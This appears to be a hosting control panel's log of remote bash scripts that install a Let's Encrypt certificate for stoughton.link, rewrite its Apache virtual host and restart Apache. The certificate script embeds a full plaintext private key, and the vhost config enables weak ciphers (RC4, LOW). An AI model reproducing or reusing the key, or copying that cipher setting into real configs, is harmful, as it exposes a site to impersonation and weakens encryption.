MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-25 12:55:03: Establishing a connection
2026-02-25 12:55:03: Establishing a connection
2026-02-25 12:55:03: 

PUT: /tmp/pkp130898

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-25 12:55:03: 

chmod 755 /tmp/pkp130898; /tmp/pkp130898; rm /tmp/pkp130898

2026-02-25 12:55:03: 


0


2026-02-25 12:55:35: Establishing a connection
2026-02-25 12:55:35: 

PUT: /tmp/pkp659304

#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt

cat > $temp_file <<'endmsg'
2c:b7:f6:c7:4c:d7:71:35:d7:16:3e:29:f5:af:48:16

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBZ+cFBcYSemFdyAQGbn1QeAQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI1MTE1NzAzWhcNMjYwNTI2MTE1NzAyWjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaV7SHPfsnbfLGqWec8Ao57CSJNytOAo72/pcLCqFv7eiJ9HYap2d9mEuZ41ACR
bw1IGvyzf1zF/ZS/DAp2UXLFI6guQ/hZssmsHI9vlAB9oLCKqyRWH+HxVI5lrgqn
uzaJN1WKKD4m+m54HhqyYtDPFf8GiGLj0kG5e5nxL+NemkK0Lqp+I47Q+WVSD+Kv
GZKZLpGaIl4Qy7/hPdGkXaKOLmAeZzdA03Iy9Ipj5WhpXo/sGcR0yb28Mo2W0JmX
V82t8bqePBgaJGAFUnb7tW2qUSRfTrGh93kTgwT7nnT3qRHlHvSbwGkhJ/U3gyHX
//IO52yjgSzdqyFT1rGE/gMCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRm69XY
ZZdVQucyOy4wQRHdbF3LvDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDw
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGclN52rAAABAMA
RzBFAiA8LyOOwhuKUiW+32c18mPo/m5NcoW3JQe8uVvm8aALMgIhAMNYn8GVhkSO
ZPrJFnUsN/+JoZZgMLhNM2QGWNtP+vhuAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeA
GdFVUvvp6ynd+MMAAAGclN5+YAAABAMARzBFAiAbg2CziGH63yNQPSOUFZ2tTrs+
rHcI4RVpHcqcK8niTgIhAKQKybiO0FuT+fGyhyz73gUJUYVBLwU112xK2jB1GIev
MA0GCSqGSIb3DQEBCwUAA4IBAQAL+696EsZk61B9FVnXuIOir086RMm6Pxjg2GmC
XyXcWxb1wZKftuNsuhLSncHq1VAYGc539lMwnOZR+xXmkN17WNVD3yqiECl84DEQ
5BhauSLlyNqKdFHDE7LiVEW1hC0Jcq/bMgDvjY8aLFIYtLKBFiXkrqFHNnPABEUQ
stycauQT1WFix1S6mUDNsxYwrxdc77ZdHqy/+9/PGdlu3OgJmbrgTTT79r50S1UV
Dzi8oj5Jg1snxAxmtGb0oXEv6qiRqmm16F6iUenMb31GuKkV2pwbJK6NqHxZvH4P
PPZm1lZcShYBBQZXUU8tXpH0gchrKD0mg4omHRG74mfXt4mF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2le0hz37J23yx
qlnnPAKOewkiTcrTgKO9v6XCwqhb+3oifR2GqdnfZhLmeNQAkW8NSBr8s39cxf2U
vwwKdlFyxSOoLkP4WbLJrByPb5QAfaCwiqskVh/h8VSOZa4Kp7s2iTdViig+Jvpu
eB4asmLQzxX/Bohi49JBuXuZ8S/jXppCtC6qfiOO0PllUg/irxmSmS6RmiJeEMu/
4T3RpF2iji5gHmc3QNNyMvSKY+VoaV6P7BnEdMm9vDKNltCZl1fNrfG6njwYGiRg
BVJ2+7VtqlEkX06xofd5E4ME+55096kR5R70m8BpISf1N4Mh1//yDudso4Es3ash
U9axhP4DAgMBAAECggEAON/p3nrSjVFj/bnJSHjOeRCFT1y5Hfn3x28P1OOq6wAi
UuTzUhPNjMOwhn9D1qt20sXPtkC5ny4DaBa8yvOBOoWDLmu++3kBcsW8nceNbDu1
1thTKD31r31rr/GnbaVC8WF7zZb8IyQkJU4gXoOLuWyQdwDTci5yO8vp3xGcr6+t
A5eq7Ysv1M/Ftj/kjWUIt869WwG/BeKjubw39VtRDydyjTjMLH9KCx3wQh7s/SFD
ZrganEIVhuXu8BCd3a0399QR4AYC5RSKjyTyzGZwlAslbDM8w0CU++6LrLNt8U2z
rosFvIXGs368ku+aIqwOHgVd4KxisOLSkogHZqb2JQKBgQDhE+M9S9AITW0zqjqA
G/OWlaPInhVIKhKQXTcX8MH/vFBMrJlhLq0KZObRfW3TBe0e2P/dQRLOSlKhbeWC
cB6ifKtrqZBYp/fs25IU+n+GT1vqHxxWnA8TY10NcspEWPsNrTxHknKgyUIzh5qv
OHo0yBQUAoj8efEmn58GY0TtrQKBgQDPq5Gz7UwbayDQbvwdIybnWtczGrMBfvF6
MBW27c2qBKhdBllSlk/y+yCEiWNbgvrY3fj95vYXAG0mLooWRflfzHEP6zjgfwg4
L5qMQKjW8viaexYgSblJKgb/K6nfhuB1/ts8jNjVK6TK/LsK0j8N3sB7+MgYDEwM
dK6gQYewbwKBgBB4oByQO70fzWoGfxl48i6G7OF1kCEj0w/1gl6iI9BPO6Eg0Gio
PcmQ8MNL5omW2W90eeT7KiEmlz1xCWauRc+mR/UtB381a5NNzjbyzfpKPHO5qx07
dm74yop9aAfwaw7pKowiT3kswUd8GPnRrD/IlI+ST+wKEHe/HqgdA6JRAoGAWR77
B2lV2QpvaaPHhEWao3zDj8Xsfj7ZKKPMHdYOBeG70zgvSxcAtnj5Koe/YP1j43/X
JDdi8toW/WTJk+dxrqARAVDj9svtXhdnzrrM+noJIFqkUzTwVCq6F/XIEApU965o
raKQR2NUdFxjdLBnqO8oUcuhK1jTpiDI9DNLJPcCgYEAjdKNf4tHcg1ZdLcAvHkv
yVSZfK/ZASLRYqjxRIVsqkrcPF4qFOqoKlt+dRttGsi3QOy8uuX25+LzPlkd1roe
oTzBleZ4Bm/TseETDTC+W5i5U1yIW9KQ4k8tZwKOngjeajdf4T9edzydJfydZzHa
fzSB3B5Xsu6tR5Gj10Os+Nk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-25 12:55:35: 

chmod 755 /tmp/pkp659304; /tmp/pkp659304; rm /tmp/pkp659304

2026-02-25 12:55:35: 


dir=/etc/ssl/certs


2026-02-25 12:55:35: 

PUT: /tmp/pkp661299

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-25 12:55:35: 

chmod 755 /tmp/pkp661299; /tmp/pkp661299; rm /tmp/pkp661299

2026-02-25 12:55:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>






2026-02-25 12:55:35: 

PUT: /tmp/pkp320922

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi


2026-02-25 12:55:36: 

chmod 755 /tmp/pkp320922; /tmp/pkp320922; rm /tmp/pkp320922

2026-02-25 12:55:36: 




2026-02-25 12:55:36: 

PUT: /tmp/pkp358529

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-25 12:55:36: 

chmod 755 /tmp/pkp358529; /tmp/pkp358529; rm /tmp/pkp358529

2026-02-25 12:55:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-25 12:55:36: Establishing a connection
2026-02-25 12:55:36: 

PUT: /tmp/pkp115458

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-25 12:55:36: 

chmod 755 /tmp/pkp115458; /tmp/pkp115458; rm /tmp/pkp115458

2026-02-25 12:55:36: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
